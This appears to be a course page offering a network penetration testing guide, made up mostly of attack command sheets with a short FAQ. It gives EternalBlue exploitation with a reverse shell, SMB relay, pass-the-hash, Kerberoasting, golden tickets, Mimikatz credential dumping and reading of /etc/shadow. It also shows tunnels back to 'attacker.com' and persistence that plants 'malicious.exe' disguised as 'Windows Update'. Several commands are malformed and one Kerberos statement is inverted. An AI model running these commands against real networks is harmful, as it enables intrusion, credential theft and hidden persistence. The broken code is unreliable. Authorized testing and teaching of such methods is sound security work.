Network Penetration Testing Guide
From Initial Access to Domain Domination: Complete Network Testing Methodology
Understanding Network Penetration Testing
Network penetration testing simulates real-world attacks against network infrastructure to identify security weaknesses before malicious actors can exploit them. Unlike simple vulnerability scanning, penetration testing involves actively exploiting vulnerabilities to demonstrate actual risk to the organization. This hands-on approach reveals how far an attacker could progress if they breached the network perimeter.
Modern network environments are complex, incorporating cloud services, hybrid infrastructure, and increasingly sophisticated security controls. Effective penetration testing requires understanding these architectures and the techniques attackers use to navigate them. This guide covers the complete methodology from initial reconnaissance to achieving testing objectives.
Network Penetration Testing Phases
Network enumeration and host discovery
Service identification and exploit research
Gaining initial access and foothold
Lateral movement and privilege escalation
Network Reconnaissance and Enumeration
Successful network penetration testing begins with thorough reconnaissance. Understanding what systems exist, what services they run, and how they are configured guides all subsequent testing activities. Rushed reconnaissance leads to missed vulnerabilities and incomplete assessments.
Host Discovery and Port Scanning
# Quick Network Discovery nmap -sn 10.10.10.0/24 # Ping sweep alternatives for firewall evasion nmap -sn -Pn 10.10.10.0/24 nmap -sn -PE -PP 10.10.10.0/24 # Comprehensive Port Scan nmap -sV -sC -p- -T4 -oA full_scan 10.10.10.0/24 # Service Version Detection nmap -sV --version-intensity 5 10.10.10.100 # UDP Port Scan nmap -sU --top-ports 100 -oA udp_scan 10.10.10.0/24 # Aggressive Scan with OS Detection nmap -A -T4 10.10.10.100 # Masscan for Fast Scanning masscan -p1-65535 10.10.10.0/24 --rate=1000 # Scanning Through Proxychains proxychains nmap -sT -p 445 10.10.10.0/24 # Firewall Detection nmap --script firewall-bypass 10.10.10.100
Service Enumeration Deep Dive
# SMB Enumeration enum4linux -a 10.10.10.100 smbclient -L //10.10.10.100 smbmap -H 10.10.10.100 nmap --script smb-enum-shares,smb-enum-users 10.10.10.100 # LDAP Enumeration ldapsearch -h 10.10.10.100 -p 389 -x -b "DC=domain,DC=com" nmap --script ldap-search,ldap-rootdse 10.10.10.100 # DNS Zone Transfer dig axfr @10.10.10.100 target.com nslookup -type=any _kerberos._tcp.domain.com # SMTP Enumeration smtp-user-enum -U users.txt -t 10.10.10.100 # SNMP Enumeration snmpwalk -c public -v1 10.10.10.100 onesixtyone -c community.txt 10.10.10.100 # MSSQL Enumeration nmap --script ms-sql-info,ms-sql-empty-password 10.10.10.100 sqsh -S 10.10.10.100 -U sa -P '' # Oracle Enumeration tnscmd10g -h -p 1521 -h 10.10.10.100
SMB and Network Authentication Attacks
Server Message Block (SMB) protocol is foundational to Windows networking and represents a primary attack vector for network penetration testers. Understanding SMB attack techniques, from relaying captured hashes to exploiting protocol weaknesses, is essential for network assessments.
SMB Relay Attacks
# Responder for SMB Relay # Run Responder to poison LLMNR, NBT-NS, WPAD responder -I eth0 -v # Or use Inveigh powershell -exec Bypass -c "Import-Module Inveigh" # Metasploit SMB Relay use auxiliary/server/smb/smbRelayx set SMBHOST <target-to-execute-as> exploit # NTLM Relay with MultiRelay python3 MultiRelay.py -t <target> -c "whoami" # Credential Capture Setup # Ensure SMB signing disabled on targets nmap --script smb-security-mode 10.10.10.0/24 # Filter targets where signing = disabled
SMB relay attacks work when signing is disabled and you have valid captured credentials.
Pass-the-Hash Techniques
# Mimikatz Pass-the-Hash sekurlsa::pth /user:administrator /domain:target.com /ntlm:<hash> /run:cmd # Overpass-the-Hash (Pass-the-Key) sekurlsa::pth /user:administrator /domain:target.com /rc4:<rc4-hash> /run:cmd # Impacket psexec python3 psexec.py target.com/administrator@10.10.10.100 -hashes :<ntlm-hash> # impacket wmiexec (quieter) python3 wmiexec.py target.com/administrator@10.10.10.100 -hashes :<ntlm-hash> # Metasploit PsExec use exploit/windows/smb/psexec set SMBUser administrator set SMBPass <ntlm-hash> set RHOSTS 10.10.10.100 exploit # CrackMapExec crackmapexec smb 10.10.10.0/24 -u administrator -H <hash> -x whoami
Pass-the-Hash allows authentication without cracking the password hash.
SMB Exploitation and Brute Force
# Null Session Enumeration enum4linux -a 10.10.10.100 # SMB Login Attempt smbclient //10.10.10.100/share -U Administrator # Try: empty password, password = username, common passwords # Medusa Brute Force medusa -h 10.10.10.100 -u administrator -P passwords.txt -M smbnt # Hydra SMB Attack hydra -l administrator -P pass.txt 10.10.10.100 smb # Nmap SMB Scripts nmap --script smb-vuln-ms17-010.nse 10.10.10.100 nmap --script smb-vuln-cve-2017-0144.nse 10.10.10.100 # EternalBlue Exploitation use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.10.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.10.10.50 exploit # PSExec without password (using hash) python3 psexec.py -hashes :<ntlm> administrator@10.10.10.100
Active Directory Attack Techniques
Active Directory environments present unique challenges and opportunities for penetration testers. Modern networks rely heavily on AD for authentication and authorization, making it a primary target. Successful AD attacks often combine multiple techniques to achieve domain-wide compromise.
Kerberos Authentication Attacks
# Kerberoasting - Request TGS for service accounts
# Find service accounts with SPN
powershell -c "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} -Properties ServicePrincipalName"
# Rubeus Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# Impacket GetUserSPNs
python3 GetUserSPNs.py target.com/user:password -outputfile hashes.txt
# Crack TGS hashes
hashcat -m 13100 hashes.txt wordlist.txt
# AS-REP Roasting - Request encrypted AS-REP without credentials
# Users with DoNotRequirePreauth disabled
impacket GetNPUsers target.com/ -usersfile users.txt -format hashcat -outfile hashes.txt
# Kerberos Ticket Granting Ticket attacks
# Golden Ticket - Create forged TGT
mimikatz # kerberos::golden /domain:target.com /sid:S-1-5-21-... /krbtgt:<hash> /user:admin /ticket:fake.kirbi
# Silver Ticket - Create forged TGS for specific service
mimikatz # kerberos::silver /domain:target.com /sid:S-1-5-21-... /target:dc.target.com /service:cifs /rc4:<nthash> /user:admin /ticket:silver.kirbi
# Overpass the Hash - Use NTLM to get Kerberos ticket
sekurlsa::pth /user:admin /domain:target.com /rc4:<nthash> /pptRequest TGS tickets for service accounts and crack offline. Often find weak passwords in service account passwords.
Request AS-REP for users without preauthentication. Encrypted data contains hash that can be cracked.
Credential Dumping and Relay Attacks
# Mimikatz Credential Dumping mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords mimikatz # sekurlsa::tickets mimikatz # lsadump::sam # LSASS Dumping mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonpasswords # DCSync Attack (requires domain admin rights) mimikatz # lsadump::dcsync /domain:target.com /user:krbtgt mimikatz # lsadump::dcsync /domain:target.com /user:administrator # NTDS.dit Extraction (via Volume Shadow Copy) reg save HKLM\SYSTEM c:\system.hive reg save HKLM\SAM c:\sam.hive impacket-secretsdump -system system.hive -sam sam.hive LOCAL # Credential Relay with Responder # Enable SMB and HTTP servers responder -I eth0 -w # Capture hashes when clients authenticate # LLMNR/NBT-NS Poisoning responder -I eth0 -b # Wait for authentication attempts
Domain Privilege Escalation
# BloodHound for AD Mapping # On compromised machine: powershell -exec Bypass -File CollectBloodHound.ps1 # Run BloodHound on Kali neo4j console & bloodhound # Find attack paths to Domain Admin # Look for: Users with Constrained Delegation # Unconstrained Delegation on servers # Foreign group membership # Constrained Delegation Abuse # If user has constrained delegation to service # Can access that service AS that user testuser -> cifs/server01 # Can access CIFS on server01 as testuser # Resource-based Constrained Delegation # If machine allows delegation to it # Can set SPN on machine account you control # Requires write access to target machine # ACL Abuse - WriteDACL permissions # Can modify ACL on user to add yourself # Or add yourself to group with higher privileges
Lateral Movement Techniques
Lateral movement involves using compromised credentials or access to move through the network and reach high-value targets. After initial access, effective lateral movement demonstrates how an attacker could progress toward their objectives.
Windows Lateral Movement
# PowerShell Remoting (WinRM)
# Requires port 5985/5986 open
Enter-PSSession -ComputerName 10.10.10.100 -Credential $cred
Invoke-Command -ComputerName 10.10.10.100 -ScriptBlock {whoami}
# WMI Execution
# Requires port 135 and 445
wmic /node:10.10.10.100 process call create "powershell -enc <base64>"
# Schedule Task Creation
schtasks /create /S 10.10.10.100 /SC ONCE /ST 12:00 /TN "Malicious" /TR "powershell -enc <base64>"
schtasks /run /S 10.10.10.100 /TN "Malicious"
# PsExec Alternative
python3 psexec.py target.com/user@10.10.10.100 "cmd.exe"
# Pass-the-Hash with PsExec
python3 psexec.py -hashes :<hash> target.com/administrator@10.10.10.100
# WMI Lateral Movement
# Using Impacket wmiexec
python3 wmiexec.py target.com/user@10.10.10.100
# DCOM Execution
$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromCLSID("{...)])Linux Lateral Movement
# SSH Pivot ssh user@10.10.10.100 ssh -L 8080:target:80 user@10.10.10.100 # SSH Proxy as SOCKS5 ssh -D 1080 user@10.10.10.100 # Psql for Postgres Lateral psql -h 10.10.10.100 -U postgres # Can often run system commands via COPY TO PROGRAM # SSH Tunnel for Port Forwarding ssh -L 445:127.0.0.1:445 user@10.10.10.100 # Using Proxychains proxychains smbclient //target/share -U user proxychains nmap -sT -p 445 10.10.10.x # GOLANG tools for reverse shells # Ligolo for reverse tunnels ./ligolo -proxy -lport 8080 ./agent -connect <attacker>:8080 -relay
Network Pivoting and Tunneling
# Metasploit Routing # From Meterpreter session meterpreter > run autoroute -s 10.10.20.0/24 meterpreter > background # Pivot through session use auxiliary/server/socks_proxy run # SSH Dynamic Port Forward ssh -D 1080 user@10.10.10.100 # Chisel for HTTP tunnels # Attacker ./chisel server -p 8080 --reverse # Compromised host ./chisel client <attacker>:8080 R:445:127.0.0.1:445 # Ligolo Reverse Tunnel # Create network interface sudo ip addr add 10.10.10.0/24 dev ligolo # Setup listener ./chisel server -p 443 --tls-certificate /path/to/cert --tls-key /path/to/key # Connect from target ./chisel client https://attacker.com:443 tunnel:127.0.0.1:3389:127.0.0.1:3389 # Plink for Windows SSH tunnels plink -L 445:127.0.0.1:445 user@attacker.com # Double pivoting ssh -L 8080:127.0.0.1:8080 -L 445:127.0.0.1:445 user@10.10.10.100
Privilege Escalation in Networks
Local privilege escalation transforms low-level access into administrative control. In network environments, this often means escalating from workstation user to domain administrator. Understanding Windows and Linux privilege escalation techniques is essential for comprehensive network assessments.
Windows Privilege Escalation
# Automated Enumeration powershell -exec Bypass -File winPEAS.bat powershell -exec Bypass -File PowerUp.ps1 powershell -exec Bypass -File Sherlock.ps1 # Manual Checks # Check current privileges whoami /priv whoami /groups # Scheduled tasks schtasks /query /fo LIST /v # Services enumeration wmic service list sc query # Unquoted service paths wmic service get name,pathname | findstr /i "Program Files" # AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer # DLL Hijacking # Check writable service directories icacls C:\Program Files\ServiceFolder # Token Manipulation # Find SeImpersonate privilege # Potato family exploits # Juicy Potato, Rotten Potato # Kernel Exploits # Check Windows version and patches systeminfo wmic qfe get caption,description # Search for exploits windows-exploit-suggester.py --database 2023-11.db --systeminfo sys.txt
Linux Privilege Escalation
# Automated Enumeration wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linpeas.sh chmod +x linpeas.sh && ./linpeas.sh # LinPEAS Alternative wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh ./lse.sh -l 2 # SUID/SGID Enumeration find / -perm -4000 -type f 2>/dev/null find / -perm -2000 -type f 2>/dev/null # GTFOBins for privesc gtfobins.github.io # Sudo Misconfigurations sudo -l # Check all sudo allowed commands for: # - Command with no password # - Nmap, python, perl, vim, etc. sudo nmap --interactive !sh # Kernel Exploits uname -a cat /etc/issue searchsploit "Linux Kernel" # Cron Jobs cat /etc/crontab ls -la /var/spool/cron/ # NFS Root Squashing cat /etc/exports showmount -e <target> # If no_root_squash, mount and create SUID binary # Credential Theft cat /etc/passwd cat /etc/shadow (if readable) find / -name "*.txt" -o -name "*.cfg" 2>/dev/null | xargs grep -l "password"
Maintaining Access and Persistence
While not always in scope, understanding persistence techniques helps penetration testers demonstrate long-term access scenarios. Organizations need to understand the effort required for an attacker to maintain access despite detection and remediation efforts.
Windows Persistence Mechanisms
# Registry Persistence
# User-level run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\malicious.exe"
# System-level (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\malicious.exe"
# Services
sc create "Windows Update" binpath= "C:\malicious.exe" start= auto
sc description "Windows Update" "Maintains system up to date"
# Scheduled Tasks
schtasks /create /tn "Windows Update" /tr "C:\malicious.exe" /sc hourly /mo 1
# WMI Event Subscription (stealthy)
$Filter = Set-WMIInstance -Namespace "rootsubscription" -Class __EventFilter -Arguments @{Name="Update";EventNamespace="rootsubscription";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 30"}
$Consumer = Set-WMIInstance -Namespace "rootsubscription" -Class CommandLineEventConsumer -Arguments @{Name="Update";CommandLineTemplate="C:\malicious.exe";RunInteractively="false"}
# Golden Ticket Persistence
# Create ticket with custom lifetime
mimikatz # kerberos::golden /domain:target.com /sid:<sid> /krbtgt:<hash> /user:admin /ticket:golden.kirbi /endmin:60000
# Moles/Tickets
# Use tickets created during engagement for persistence testingFrequently Asked Questions
What is network penetration testing?
Network penetration testing is the process of evaluating network infrastructure security by simulating attacks that an attacker would use. This includes discovering accessible systems, identifying vulnerabilities, exploiting weaknesses, and demonstrating potential impact. Unlike vulnerability scanning, penetration testing involves actual exploitation attempts and demonstrates what an attacker could achieve if they compromised the network. The goal is to identify security gaps before real attackers exploit them.
What is the difference between external and internal penetration testing?
External penetration testing targets systems accessible from the internet, simulating attacks from outside the organization's network perimeter. Internal testing occurs from inside the network, often after gaining initial access or simulating a malicious insider scenario. Internal testing is typically more comprehensive because it bypasses perimeter security and tests lateral movement capabilities, privilege escalation, and internal network segmentation. Most real attacks begin with external compromise followed by internal reconnaissance.
What tools are essential for network penetration testing?
Essential network penetration testing tools include: Nmap for network scanning and enumeration; Responder or Impacket for credential attacks; Metasploit Framework for exploit delivery; Mimikatz or similar tools for credential harvesting; PowerShell and WMI for lateral movement; and various privilege escalation scripts like WinPEAS and LinPEAS. Beyond specific tools, successful network penetration testers understand protocols like SMB, LDAP, and Kerberos that enable network-based attacks.
How do you perform privilege escalation in networks?
Network privilege escalation involves escalating from regular user to administrator or from local admin to domain admin. Windows networks typically use token manipulation, Kerberos delegation attacks, or credential reuse. Linux privilege escalation includes kernel exploits, sudo misconfigurations, SUID binaries, and credential theft from memory or files. Active Directory environments offer techniques like Pass-the-Hash, Kerberoasting, golden ticket attacks, and exploiting domain controller vulnerabilities to achieve domain-wide compromise.
What is lateral movement and why is it important?
Lateral movement is the technique of moving through a network after initial compromise to access additional systems and resources. It involves techniques like using compromised credentials to access other machines, pivoting through jump servers, and leveraging trust relationships between systems. Important because initial access rarely provides the ultimate goal; attackers must move laterally to reach sensitive data, critical systems, or achieve their objectives. Effective lateral movement testing reveals how far an attacker could progress if they breached the network perimeter.
How do you pivot through networks during penetration testing?
Network pivoting involves routing traffic through compromised systems to reach networks not directly accessible. Techniques include: creating SOCKS proxies through compromised machines using tools like ProxyChains or Metasploit; port forwarding to expose remote services locally; using SSH tunnels for encrypted pivoting; and leveraging tools like Ligolo that create reverse tunnels. Effective pivoting enables access to segmented networks, internal-only systems, and zones that would otherwise be unreachable from your initial position.
Master Network Penetration Testing
Learn professional network penetration testing techniques in our comprehensive ethical hacking course.